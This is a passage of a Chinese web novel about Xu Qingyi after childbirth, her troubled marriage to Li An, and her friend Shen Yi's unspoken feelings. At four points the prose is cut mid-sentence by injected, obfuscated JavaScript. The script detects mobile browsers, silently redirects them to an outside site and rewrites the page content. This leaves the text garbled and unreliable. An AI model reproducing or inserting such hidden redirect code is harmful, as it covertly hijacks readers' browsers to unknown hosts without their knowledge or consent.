徐清旖勉强地笑了笑,她的身体本来就不算太好,现在更是难受得要命,但她还是努力睁了睁眼,“你带他看过孩子了吗?” “啊,对!小沈,我带你去看孩子。” 师母提起孙子就开心,“可乖了,小小的一个……” “好,马上就去。”沈翌看着徐清旖,问她:“要喝水吗?” 她摇摇头,听见自己的母亲惊呼:“我怎么都忘记了!我现在去接点热水回来!你们先聊着。” 徐清旖偏了偏脑袋,“我还没见过孩子呢。” “男孩像妈妈,一定很好看。” 他的声音有些哑,想起来自己过来得匆忙,甚至连换洗的衣服都没有带。 徐清旖笑了笑,“你就知道骗我,明明你都没见过。” “猜的。”他也笑了笑,“不过可信度很高。” 沈翌替她掖了掖被角,然后说:“时间还早,你再睡一会儿。” 徐清旖眨着眼睛看他,“你怎么不问我他叫什么名字?” “叫什么?” “叫岁岁,好听吗?”她弯着眼睛笑。 “岁岁平安,很好听。” “英文名叫Chance,是千禧。” 徐清旖望着窗外初升的朝阳,她说:“新岁平安。” - 沈翌陪着徐清旖没待多久,林知一就赶过来了。 他们俩其实总共没见过几次面,她来的时候带着很多东西,看见徐清旖的时候和她打趣:“竟然真的就做妈妈了。” 清旖很高兴,她让母亲带着知一去看小孩,知一却说:“沈翌带我去吧,你妈妈在这边好照顾你。” 沈翌答应了她的提议,早晨徐清旖又睡着之后,他已经跟着师母去见过岁岁了。 混血的小孩在保温箱里静静地睡着,皱巴巴的一个,竟然又是一个新生命。 林知一很喜欢小孩,她和肖珩结婚多年,却始终没有自己的孩子。 看见岁岁的时候,对沈翌说:“肖珩去意大利了,过两天回来了就会过来。” 沈翌点点头,他眼神专注地看着那个小孩,只要一想到他是清旖的孩子就觉得很神奇。 “你是从哪里过来的?”林知一问:“没想到你会这么快,我以为你这么关心她,你的妻子会不高兴。” 闻言沈翌皱了皱眉,他看向林知一,“我是从香港过来的。” “你调回香港了?清旖没有告诉我,不过我和她确实很久没联系了,自从她结婚后我们就没怎么在一起聊过天了。” “你是怎么知道我结婚的?” 沈翌的话有歧义,反应过来他又纠正,“我没有结婚。” “是吗?”林知一看了一眼他,“看来你又抛弃了一个女人。” 沈翌抿抿唇,“是清旖告诉你的?什么时候的事?” “可能你们的确没有结婚吧,你在美国的时候不是谈了一个女朋友吗?” 林知一说:“据说还是我们市文化局局长的女儿,前程无忧了吧?” 她的话语中不掩讽刺,沈翌难免感到不耐烦,“没有谈过,只是她也在旧金山读书,帮忙照顾过。” “接过吻了还能没谈过?” 林知一很生气,从前她不认为沈翌是这样的人。 沈翌听见她的话顿了顿,像是忽然想起来了什么,“是清旖告诉你的?” 林知一恼怒地点点头,“不然呢?我又不认识。” 那年在纽约时代广场,原来那个匆忙离去的身影真的是她。 “那时候,她去美国干什么?” 沈翌的声音颤抖,他想到一种无论什么时候的自己都会觉得荒诞的可能性。 “找你跨年啊。” 林知一双手环抱在身前,“在那之前,我一直以为你们会在一起,只是我没想到你不喜欢她。” 沈翌心神不宁,她的话重重落在他心里。 “不过也好,她现在很幸福。” 好残忍。 - 沈翌在医院门口的酒店里订了房间,秘书给他送了几套换洗的衣服过来,公司的业务全部与他远程进行对接。 李安的父母在孩子出生后的第三天,才不慌不忙地从伦敦过来。 在机场接到人以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389910|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李安把他们领来了病房。 他原本不想通知父母,是徐老师和他谈了一夜的心事才将李安说服。 金发碧眼的外国人走进病房就肉眼可见的皱了皱眉。 那位年轻的继母用英语毫不掩饰地说:“实在是太闷了,已经有臭味了你们闻不到吗?” 她的话很夸张,其实是因为徐清旖不能吹冷风,房间里暖气开得很足。 听明白她的话的人都难免感觉到不舒适,师母小声问沈翌:“她说的什么?” 沈翌蹙了蹙眉,“大意是有点闷,没事,她可以去外面凉快会儿。” 李安对于她的话也感到不耐烦,他不明白这个女人既然不喜欢自己,又为什么要千里迢迢来这里上赶着找不痛快。 他的父亲用拐杖触了触地板,示意他的夫人不要乱讲话,女人这才不甘心地闭了嘴。 这是他第一次见到自己的儿媳。 在此之前他只知道对方是个中国女人,李安甚至连照片也没有给过他一张。 他不能理解李安为什么不愿意和他安排好的那位英国姑娘在一起。 像是和他赌气一般,在从中国回来以后,就告诉他说要和新交的女友结婚。 徐老师也是第一次见到自己的亲家,他招呼道:“来这边坐。” 对方听不懂,他就拍了拍李安,后者不情不愿地对自己的父亲传达。 “孩子呢?” 他的父亲没有理会李安,只将视线从徐清旖身上挪开,也不回答她唤他“父亲”。 等到他们去看孩子以后,师母拉着沈翌的袖口问他:“他们是不是不喜欢我们清旖啊?” 当年李安的父母没来中国,所有的亲朋好友对此都颇有微词。 只不过李安哄他们,说在英国那边会重新办一场婚礼,他们只是现在工作忙走不开。 沈翌眼里的担忧还没来得及完全卸下,闻言还是对师母摇摇头,“不会。” 徐清旖望着门口的方向,久久未曾缓过神来。 李安和徐清旖在南城结婚的时候只过来了他自己大学时的几位朋友,等到了英国他才通知了父亲他结婚的事。 那时候他们大吵一架,连婚礼都没有参加。 沈翌看了她一眼,“我去看一看。” 徐老师一个人在那边,他很担心地跟过去,正巧听到烦人的继母的话,“什么嘛,这么丑,果然是中国人生的孩子。” 徐老师根本听不懂对方的话,他站在最前方面对着那面玻璃,还在开心的说着孩子哪里像母亲,哪里像父亲。 “我因为工作的原因,曾经在伦敦住过几年,英国人礼貌绅士,想必你也应当算不上正统。” 沈翌双手插着兜,墨色的大衣显得他似乎有些不近人情,他的伦敦腔很地道,靠在墙边扯着一抹冷笑。 “与我见过的那么多聪慧的英国人相比,你愚昧、自大、虚伪又低俗,不过是一个平庸的人。” “平庸。”沈翌重复了一遍,然后又吐出一个更难听的词汇。 女人瞪大了眼睛,脸色随之一白。 李安拧着眉,动手一把扯过沈翌的手臂。 “沈翌,我们家的事,轮不着你插手!” 36. 千禧年 原名“祝福千禧” 徐老师听不明白他们的对话,但是看这氛围也能感觉到不对劲。 沈翌看了眼近在咫尺的李安,脸上嘲讽的笑还没收回去。 用英文继续问:“如果连自己的女人都保护不了,你又有什么资格在这里和我说轮不到我插手?” 李安揪住他的衣领,“你再说一遍!” “Richard!”他的父亲忽然厉声道。 徐老师也将沈翌往身后一拦。 那位老父亲认真看了看他,然后问:“你叫什么名字?” 沈翌理了理自己的衣领,没有理他的问题。 转而看了一眼李安,用中文说:“保护好她,否则我跟你没完。” 说完这句话,他朝另两位英国人抬了抬头。 “抱歉,一时没控制好情绪。孩子很可爱,可能是这位女士没有看清,祝你们在中国玩得愉快。” 沈翌领着徐老师离开的时候,听见身后那位妇人嘴里还在嘀咕着什么,那位父亲呵斥她停下。 徐老师敛着声问他发生了什么,沈翌安慰他说没事。 沈翌从来没有这样与谁产生过争执,只是一想到他们对着徐清旖加上一些莫须有的指责,他就实在没有办法冷静下来。 “小翌……”徐老师停下脚步,眉头紧锁,他抓着沈翌的手不自觉收紧,“他们是不是对清旖不好?” 沈翌笑了笑,没有说假话,“即使不好,清旖自己也能调整,您不用担心。” “当初不是这样说的。” 徐老师深吸一口气,想起来那年李安回南城,跪在地上给他们敬茶,一字一顿地说着他学了很久的中文。 “祝叔叔阿姨,年轻、漂亮、健康、帅气、聪明。” 滑稽又可笑,但多少令人安心些。 - 当李安一个人陪护的时候,他对徐清旖抱怨沈翌是如何不尊重自己的父母。 徐清旖心里疑惑,沈翌不是一个是非不分的人。 更何况自己与他朋友多年,几乎是从未见过他生气的样子,更不应该存在李安所说的“气急败坏、言语粗俗”。 “旖,他已经来了很多天了,为什么还不回去?” “你不要对他有那么大敌意,他是我很好的朋友。” 徐清旖已经懒得去应付他们之间的矛盾了,岁岁不久前被送到她身边。 此时她正带着恬静的笑,侧着头看自己的小孩,这个由自己带来这个世界的新生命。 李安将剥好的橘子递给她,“好朋友也越界了吧,而且他还没有结婚。” 徐清旖几乎没有胃口,摆了摆手拒绝,“再说吧,你这样会让我很为难。” “可是我为了你和父母决裂的时候,我也没有感到为难。” 听见他的话,徐清旖欲言又止。 昨晚李安的父亲来找她。 在病房里,他向自己讲述了九年前他是如何逼迫李安和另一位女性结婚,当时李安反抗他,还告诉他自己会和他最看不起的中国人结婚。 那时候徐清旖问他:“爸爸?我不知道是否应该这样叫您,但我还是很想知道您告诉我这番话的意思是什么?” 男人看了她一眼,“看来你和你的朋友一样愚蠢。” “什么是愚蠢?” 徐清旖已经可以坐在病床上了,这样看来她的视线与对方相平。 “是以您的标准,还是我的标准?” “在您的标准里,我听不出您挑拨的话是愚蠢。” “但是在我的标准里,您在明知我与您的孩子已经结婚的事实后,仍然不远万里来到这里,没有给予作为父亲的祝福,反而只是为了劝我离开,这就是愚蠢。” 徐清旖身后的枕头有些过于软,以至于她不得不挺直自己的背脊。 “更何况我现在有了自己的孩子,我无法忍受他在不完整的家庭里长大,所以抱歉,不能如您所愿。” “那又怎样呢?” 那位年纪轻轻就建立起自己的商业版图的英国老人,手撑着拐杖,头虽然低着,但眼神是看向徐清旖的。 “你现在还小,你还不明白过早为自己揽上责任会导致一生的不幸。” “不幸?” “不幸。”他撑着拐杖站起来,准备往外走,“有的人总是自诩伟大,仿佛为了谁付出什么就是价值的体现,但是终其一生他们也没想明白,人活到最后,只求一句对得起自己。” 他站在门口,看向病床上的徐清旖。 锐利的眼神都没有落在她怀里的岁岁身上,“别把自己想的太伟大,否则会掉入自证的陷阱,而那恰巧就是不幸的开始。” “你想活得幸福,就是要自私。不自私的话,就做好准备痛苦。” 徐清旖从回忆中醒过来,看了一眼面前的李安,忽然开始怀疑他的父亲说的话的真实性。 如果当年他本来就是赌气来到中国,又是否只是随意选中了自己作为那个抵抗他父亲的工具呢? 身边的岁岁忽然发出“咿呀”一声,她便无法再想其他。 李安也带着笑,将他从小床里抱起来,一边轻拍,一边叫着“Chance……” - 徐清旖出院的前一天,沈翌来向她告别,他说自己离开公司太久,不得不马上回去。 徐老师和师母留他,沈翌顿了顿,看向徐清旖。 她抿了抿唇移开了视线,没有附和自己父母亲的话。 下一秒她听见他说:“不了,香港那边催得很急,我今晚就要走。” 但是当他走到门口的时候,步伐忽然停了下来。 徐清旖望过去,发现沈翌的背影竟然已经变得那样高大。 他回过头来驻步而立,从医院楼顶玻璃窗上洒下来的光轻轻罩在他的脸上。 沈翌穿着白色的衬衫,外套被折叠着挂在臂弯,他问:“那一年在纽约,你怎么没有告诉我?” 徐清旖张口忘言。 沈翌摇摇头,叫她的名字,最终什么也没说,转身离开。 他将装衣服的旅行包随意扔在车的后排,坐上驾驶座的时候摸了摸烟,才发现这几天自己一直在医院,根本没有买。 于是他叹了一口气,发动车准备去找万师傅。 沈翌对于黎江市并没有很熟,他只在这里待过近一年的时间。 正巧碰上上班时间,路况交通堵得要命,等到他真的开到勃艮第路的时候,竟然已经快过了两个小时。 万师傅始终不能理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389911|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解他们年轻人,当初他有多看好刘语潇和沈翌,现在看着即将年满三十岁的沈翌就有多着急。 沈翌从外面的餐厅打包了饭带回店里,万师傅看一眼他,然后问他回来干什么。 “想你了。” 沈翌将袋子放在门口的柜台上,径直从里边屋里拿了折叠的桌子搭好。 万师傅“哟”了一声,将鼻梁上的老花镜抬了抬,“你什么时候这么肉麻了?” “真情流露,没办法了。”沈翌笑着回答他,“来吃饭,买了鱼香茄子,您的最爱。” 一顿饭两人吃得其乐融融,中途的时候,还是不可避免地聊到了恋爱和婚姻。 “那她现在这个年纪生小孩也不算太晚,她的丈夫呢?” “也在。” “他们这么多年都是分居?” 沈翌摇了摇头,“李安在黎江,一直没回英国。” “至少不是分居,有利于孩子的成长。”万师傅看了他一眼,“你回过多少次黎江?” 闻言,沈翌笑出了声,把菜往他面前推了推,“我可是每次来这边都找您了,没有一次例外啊。” “那也不多。”万师傅没和他开玩笑,叹口气,“前段时间小刘来给我送请柬。” 他一边说着一边打开旁边的一个抽屉,从里面拿出一张薄薄的红色纸片,“六月二十,恰巧是你的生日。” 沈翌接过来看了眼,“没听她说,但你帮我带句祝福。” 说着又要掏钱包,“给多少合适?一千二?不然还是两千四吧?” 万师傅一把拍开他的手,恨铁不成钢似的,“别在这大好的日子去招人嫌了。” 沈翌沉默下来,又听见他说:“你就不在意她为什么选在这天?” “能有什么意思。”沈翌笑了笑,“宜婚娶?还是宜嫁女?” 万师傅摇摇头,妥协了。 “她也和我解释了,日子是找人选的,算了八字的。听说是个研究员,对她挺好。” “语潇她……她是个很好的女孩子,会幸福的。” 万师傅叹了一口气,“人刘局长以前总和我说起你,现在听见你就直摆手,你……” 话只说一半,接下去又不知道该说什么了。 沈翌用勺子给他新盛了一碗汤,接过话头说:“她只比我小两岁,是结婚的年纪了。” “你也知道比你小两岁都到结婚的年纪了!”万师傅瞪他一眼,“你呢?” “我还小。”沈翌说:“我有个朋友,三十三才结的婚,我这不刚过三十嘛。” “那人三十岁的时候没女朋友?一天净瞎学,不懂事。” “想再多孝敬您两年。” “你那点儿心思别以为我不知道。”万师傅喝了一口水,“你从十年前就这个样子,死心眼,面上装作不显,我还看不明白你?” 沈翌纠正他,“九年。” “差不多,哎不是,这是几年的问题吗?” “我知道,师父。”沈翌正色,“也不是死心眼,就是没遇到过更好的,所以就不想找。” “怎么样才算更好的啊?” 沈翌挑挑眉,将茄子夹进万师傅的碗里,轻轻开口。 “我也不知道。” 37. 故乡月 徐清旖将自己的全部心思都放在了岁岁的身上,父亲在六月的时候生了一场大病。 她担心他一个人在家,于是让母亲收拾东西回家去住。 临别前母亲还是放心不下她,徐清旖恢复得不错,招手让她别太担心。 于是她开始了一个人照顾小孩的日子,李安的工作繁忙,回家的频率变得很低。 有时很晚回来,身上还沾染着满身的酒气。 等到他即将休假,徐清旖终于忍不住问他:“你到底打算这样下去到什么时候?” “怎样下去?” 李安紧紧拧着眉,游戏里他又死掉了一次。 徐清旖走过去抢过他的手柄,“你给我说清楚,什么时候才能正经工作?” 被强行终止了游戏,他本来就很生气,“什么是正经工作?你说我的工作不是正经工作?” “不然呢?” 徐清旖拿过桌上的笔记本,上面记录着她这几个月以来的开销。 “岁岁出生以后,家里的花销很大,小孩子长得很快,需要买衣服、买奶粉,还有各种零碎的东西,但是你每天却只知道玩游戏和喝酒。” 李安不想听,她扯过他的手。 “我问你,你每个月到底赚多少钱,为什么我这里只有这一点?” “对!” 他吼的声音很大,像是在发泄刚刚在游戏中的怒火,“现在知道我没用了?你那位老朋友很会赚钱,你去找他啊!” “李安,我现在在和你说我们自己家的事情。” 徐清旖捏紧他的手腕,却被李安一把甩开。 “你不就是嫌弃我没钱吗?Chance那么小,你买大一点的衣服多穿一段时间怎么了?” 他说:“我妈上次过来的时候,不是说了让你喂他母乳的吗?又健康又不需要钱,你为什么要买奶粉?” “李安。” 徐清旖叹了一口气,坐在床上,“我的身体不好,我不行。” “那难道是我的错吗?”李安恶狠狠地盯着她,“那难道应该怪我吗?” 说完这句话,他走出去换了鞋,离开的时候用力甩上了门。 听到巨大动静的岁岁被惊醒,仅有六个月的小孩正扯着嗓子哭泣,徐清旖无力地走过去,哽咽着安慰他。 连她自己都想不明白,是怎么走到这一步的。 李安最开始的时候,的确是对徐清旖有好感的。 他第一次来到中国,在机场被那个女孩子拦在洗手间前面。 后来知道她就是来与自己对接的人的时候,免不了起了逗弄人的心思,于是招招手对对方的负责人说,要徐清旖做自己的翻译。 那时他自己也年轻,本来就是与父亲赌气才来到中国,却不曾想到了离开那天竟然真的有点舍不得。 可是他本就只是有一点舍不得,在第二次来到中国时,最开始也将那一点好感抛之脑后。 只是在一次又一次的接触中,又开始慢慢被她吸引。 在这种吸引还没来得及变成爱和责任的时候,父亲的一通电话打乱了所有的计划。 他勒令他马上回英国,与一位他的合作伙伴的女儿结婚。 他们在电话中针锋相对,彼此说着世界上最恶毒的话,至少在李安看来如此。 最后他说:“我已经谈恋爱了,并且马上就要和她结婚。” 李安将这个故事讲给莉莉安,“可是事情已经变了,我的生活一团糟。” 他们在公司旁边的一个小酒吧,最近他们常常在这里一起喝酒。 李安总是在最人声鼎沸的时候抱住她,像个小孩一样哭泣。 “那你还喜欢她吗?” 莉莉安的裙子是红色的,性感的高开叉,惹得酒吧里的男人频频回首。 “我不知道。” 他说:“但是我们有孩子,莉莉安,我发现我其实并没有准备好做一名父亲。” “一开始我以为我只需要接受他的到来,可是我现在很不想见到那个孩子。” 李安的头埋在莉莉安的耳边,他已经醉了,却还是强撑着力气,“他很麻烦,只会哭,我的耳朵快要爆炸了。” 最后是怎样离开的,李安自己都忘了,等到醒过来,他发现自己躺在酒店的床上。 莉莉安不在这里,李安松了一口气,想着等到回公司再问问她究竟怎么回事。 - 快跨年的时候,徐清旖发现李安有些不对劲。 圣诞节对于外国人意义重大,所以和李安在一起的这些年,她总是尽力地去尊重这个节日。 往年会兴冲冲买来小圣诞树的李安,却在节日来临的前几天,说他要去出差。 “我买了帽子和灯饰,你不在家里过节日吗?” 男人一边整理出行的行李箱,一边避开她的眼神。 不自然地说:“嗯,我们组长说这次去曼城出差,我们几个英国人正好可以一起在那边过节,就不回来了。” “曼城?你们公司现在出国的项目也需要你去谈了?” “组长说,我最近的表现不错。” 他不耐烦地将最后一套衣服放进箱子里,“你别管那么多了,反正你也不喜欢过圣诞节。” “好,回来的时候给儿子带几盒奶嘴,之前的该扔掉了。” 徐清旖坐在床边,摸了摸岁岁肉嘟嘟的小脸,他正弯着眼睛对着她笑。 “什么奶嘴?” “就以前一直用的那个牌子啊,只剩最后一个了,还是上一次知一从英国买回来的。” 徐清旖撑着下巴看他,“只能在英国买,如果曼城没有,你记得绕路去一趟伯明翰,那里应该有卖。” “旖,我是去工作的。” 李安似乎很生气,他将行李箱夹层的拉链拉上,“就不能换一种用?” 徐清旖没说话,瞥了一眼他的行李箱,慢悠悠地开口:“你去几天啊?带这么多衣服?” “那边最近降温,多带一点。” 说完,李安走过来坐在她的身边,伸出手轻轻抱了抱她,“抱歉,旖,Chance最近麻烦你了。” 徐清旖靠在他的肩侧,冷着眼开口:“还是叫岁岁吧,Chance这个名字,我有点听不习惯。” - 2001年7月13日,国际奥委会主席萨马兰奇在莫斯科奥委会第112次会议中,在所有人紧张的期盼下,宣布了2008年奥运会将会在中国北京举办。 一时间中国国内热闹非凡,沈翌坐在办公室也能听见门外员工们的欢呼声。 他高中的时候曾经代表过学校去北京参加竞赛,但是那时候时间太匆忙,他也还是个穷酸的学生,根本来不及好好逛一逛北京的胡同和老巷子,就坐着火车回了南城。 中国申奥成功,是历史的一大进步。 沈翌望了望外面的街道,那里车水马龙。 我们都在一步一步走向更好的时代。 秘书将最新的设计图拿给他,沈翌看了一眼,这是这款产品的第五次修改, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389912|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他要求改进快门的设置。 “您知道北京申奥成功了吗?” 秘书期盼地看着他,沈翌若有所思地点点头,然后笑着说:“今晚可以提前一小时下班,庆祝一下,我请客。” 秘书激动道:“我们准备去吃火锅,您不是南城人吗?和我们一起去吧?” 沈翌偏过脑袋看她,“早就说好了?” “这不是知道您一定会答应嘛!”秘书说:“同事们都很希望你和我们一起去。” 沈翌点点头,想起来自己确实已经很久没有参加过公司的活动。 等到人快走出门了,又像是想起来什么一样忽然补充道:“下午的会议照常,记得给我点个鸳鸯锅。” 秘书开心地比了个“OK”的手势。 沈翌的这一批同事,几乎都是在香港这边新认识的。 几年的时光相处下来,大家都对这位年轻有为的上司钦佩有加,只是边界感还在,一起吃饭的时候多少还是有些不自在。 酒过三巡之际,大家都开始开玩笑、聊天,气氛终于活跃起来。 沈翌坐在最中间的位置,想抽烟又忍了下来,整个人微微往后仰,有一搭没一搭地听着他们聊天。 有同事用公筷给他夹菜,被别的同事打断,“你忘了领导不吃辣啊?” 夹菜的同事疑惑地边把菜往自己碗里放,边嘀咕道:“不是南城人吗?” “我奇怪。”沈翌笑着和大家开玩笑,“我本来就奇怪。” 同事们却不敢附和他,虽然这位领导平时不会和有的上司一样喜怒无常,但对待工作也是严苛出了名的,谁也不知道会不会得罪他。 “你们吃,我出去抽根烟。”沈翌揣着烟走了出去。 过了几分钟,秘书端了杯水走到他身旁。 沈翌站在二楼走廊边,嘴里含着一支烟,垂着眼似乎在发呆。 月亮的光在他头顶印下淡淡一层,直到对方感受到自己的存在,秘书才开口道:“您是不是生周奇的气了,他其实没有别的意思。” 沈翌接过那杯水,想起来周奇就是那个给他夹菜的人,“不至于,我没这么容易生气。” 秘书的年纪比沈翌还要大一些,她已经是两个孩子的母亲,所以沈翌总是很尊敬对方。 “我只是烟瘾犯了,出来抽根烟。”他说:“我刚才说的话是不是有歧义?我待会儿去解释一下。” “没有,不用的,我去说就好,大家只是有点担心你。” 秘书看了看沈翌,“周奇说话的确有点口无遮拦,如果让您想起了什么伤心事……” “不会,我只是看着火锅有点想家,那就麻烦你去告诉他们吧。我已经三十一岁了,自己承认想家,还真有点不好意思。” 沈翌闭了闭眼,“麻烦你了。” “陈秘书。”沈翌叫她。 “嗯?” “你和你的家人都在香港吗?” “女儿在上海读书,我和丈夫、儿子都在这里。” 沈翌点点头,“读大学吗?” “嗯,大二了。” 想起来女儿,陈秘书的神情放松下来,看了一眼沈翌,“您别难过,每个人都是注定要离开家的。” “好。” 他曾在世界的各个角落仰望过月亮。 波德莱尔的月亮会飞进慵懒的梦中,普希金看得见忧郁的月亮。 沈翌普通又落俗,明明已经回到祖国,为什么每当抬头看向那轮漂亮的明月的时候,却还是感到漂泊。 38. 不加糖 徐清旖洗衣服时,在李安的兜里看见一张名片。 封面是极其简洁的白,上面只有一串她都看不懂的外文和数字。 她猜测这是一个电话,于是按着号码给对方拨了过去,才发现那竟然是一家芬兰的旅行社。 她将名片放在茶几上,岁岁已经长大了很多,此时正软乎乎地趴在沙发上睡着。 李安看见名片的时候,脸上闪过一瞬的慌乱。 他笑着抱住徐清旖,靠在她肩上。 “怎么被你发现了,我本来打算带你去看极光的。” 徐清旖皱着眉偏偏头,“岁岁年纪太小,去不了那么远。” “我们可以不带他。”李安嘟囔着说:“把他交给你母亲,我们两个人去。” “不行,我不能丢下他。” 徐清旖说完,似是感觉到了他的不满,半安慰他:“怎么想起来去看极光?” 李安转过身仰躺在沙发上,伸出手挡在眼前。 “极光是西方最古老的传说之一,一起看过极光的恋人,一辈子都不会分开。” 徐清旖听过这个故事,在五年前英国最北端的设德兰群岛上。 那里有雪中的灯塔、白胡子的老板、最震撼人心的日出。 岁岁是徐清旖见过最听话的小孩,他的眼睛是漂亮的蓝色,遇见什么事都会软软地张着嘴笑,会抓住她的衣角叫“妈妈”。 徐清旖将岁岁盖着的小毛毯往上拉了拉,看着李安说:“我们本来就不会分开,不是吗?” 李安翻了个身,“是的。” “你今天工作很累吗?”她问:“家里没有菜了,我需要出去一趟,你看着点岁岁。” “好。”李安把脑袋往沙发里埋了埋,“我累死了,你快点回来。” 徐清旖皱皱眉,“你看着点他,我不在他醒了可能会闹。” “知道了。”他说:“还不是你给惯的,见不着你就哭。” “小孩子都这样,是你这个父亲没怎么陪过他。” “我同事的那些孩子扔给保姆也没见得有什么不对,你偏要辞职。” 徐清旖抿了抿嘴唇,“行,现在又是我的不对了是吧?” “当初我本来也没要求……” 李安从沙发上转过来,他看着徐清旖,“现在我能看着他了,你走吧,我想吃牛排。” 徐清旖叹了一口气,“好。” 她走后不久,李安接到了莉莉安的电话,对方问他知不知道今天开会的时候打印的那份报告在哪里,自己明早的表格需要那份资料。 李安想了想,让她找找自己办公桌右面的第二个抽屉。 莉莉安说:“我已经找过了,根本没有。” “Aaron桌上也没有吗?” “没有,我刚已经问过了,他说后来放在你桌上了。” 莉莉安问他:“李安,你现在能来公司一趟吗?如果完不成表格,我明天一定会被骂的。” 李安看了一眼正睡在沙发上的岁岁。 “你能等一会儿吗?先做另一部分,等清旖回来了我就去公司,孩子现在一个人在家,我走不开。” “她还没回家吗?她不是没有工作吗?” “嗯。”李安说:“她出去买菜了,应该快回来了。” “好,那我在公司等你。” 徐清旖回家的时候,李安已经重新穿好了外套和鞋。 岁岁被他放在了婴儿床上,身上盖着一床薄被子,自己捏着小玩具在玩。 “我可能来不及吃饭了,公司临时有点急事,我要回去一趟。” 徐清旖开冰箱的手顿了顿,“什么时候回来?我等你吃饭吧?” “不用了。” 李安凑过去在她脸上亲了亲,“你带孩子辛苦了,先吃吧,我随便找个地方吃点就行。” 门被关上的声音响起,徐清旖靠坐在沙发的扶手上,顿时感受到一阵无力。 她心里很清楚,李安几乎没有照顾过岁岁。 又或许在他的身边还有另一个“第三者”的存在,那个人分走了他很大一部分精力。 徐清旖看了一眼睁着大大的眼睛盯着自己的岁岁,他还那么小,面对这个世界还是单纯而无知的。 徐清旖回去厨房将买来的东西放好,剥了一个香蕉放在锅里开始蒸,准备待会兑着米粉给岁岁吃。 - 电话铃响起来的时候,她刚把火关掉。 是母亲打来的电话,她先是问了问李安怎么又不在家,徐清旖只回道:“今晚加班。” 于是母亲才聊起来这次电话的目的,她说前段时间他们邻里聚在一块聊天。 大家提起来沈翌,所以想着给他介绍个对象。 “他这些年的确都是一个人,如果有个伴的话会好很多。” 徐清旖左手握着电话,右手轻轻捏着岁岁的小手。 “是啊,小沈他是我们看着长大的,现在也已经三十多了,我们给他张罗着,你有时间的话,也去问问他。” “行,你们给介绍的,他不会拒绝的。” “重要的不是他拒不拒绝,他喜欢、合适才是最重要的。” “好,我知道了。”徐清旖问:“不过他的工作多半都在香港这边,你在家里给介绍,合适吗?” “你还记得你陈姨吗?你结婚的时候她和她女儿还来过。” “陈姨我记得,不过我没见过她女儿吧?可能忘了。” “没事,主要是那姑娘也快三十了,我给你陈姨讲了小沈,人家可满意了,就等着我这边再来问问了。” “妈。”徐清旖皱了皱眉,“沈翌还没同意。” “我知道我这事儿欠考虑吧,但是那天她看见我们墙上贴的你俩那照片了,就问我是谁,我也就讲了,没想到她是想介绍给自己女儿。” 徐母说:“你问问小沈的看法,你知道的,我们去问的话他肯定不会拒绝,主要是看他的想法。” “那姑娘也挺不错的,他们还是同一个大学毕业的,现在留校了呢。” 徐清旖勾勾手指逗岁岁玩,岁岁抓住她的手往自己脸边放,她说:“行,有时间我就去问问。” 沈翌刚被升为副总,原本的秘书被人事部外派,总经理调了自己的三秘来协助沈翌工作。 女孩名叫斯敏文,研究生毕业没多久,是一个很富有活力的人。 沈翌和她初次见面的那一天,斯敏文穿着得体的正装,带着公式化的笑容叫他“沈总”,然后对他讲今天的行程。 沈翌点点头,尝了一口桌上泡好的咖啡,“有点甜,下次少放一点。” “好的,我再去重新泡一杯。” “不用。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389913|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈翌将西装外套脱下来放在一边,“你把前两天与法国NE的合作案给我拿过来。” 斯敏文离开以后,沈翌又尝了一口咖啡。 徐清旖在电话里并没有提起相亲的事,含蓄地问了问沈翌新年回不回南城。 彼时沈翌刚结束一个会议,靠在椅背上松了松领带,回复说:“不一定,可能去黎江陪万师傅。” 从某种意义上来说,沈翌和万师傅现在都属于“孤家寡人”。 徐清旖顿了顿,“到时候如果有时间我们可以见一面,李安他不一定在。” 沈翌笑了笑,抿了一口咖啡,斯敏文的确听了他的吩咐少放糖,不过仍然有点甜。 最后还是没忍住,“清旖,我们见面为什么要避开他?” 徐清旖半晌没回话,沈翌叹了一口气,“抱歉,我今天有点累,说话不过脑子。” “沈翌,你是不是在怪我?”徐清旖问他:“我不是故意不联系你的……” 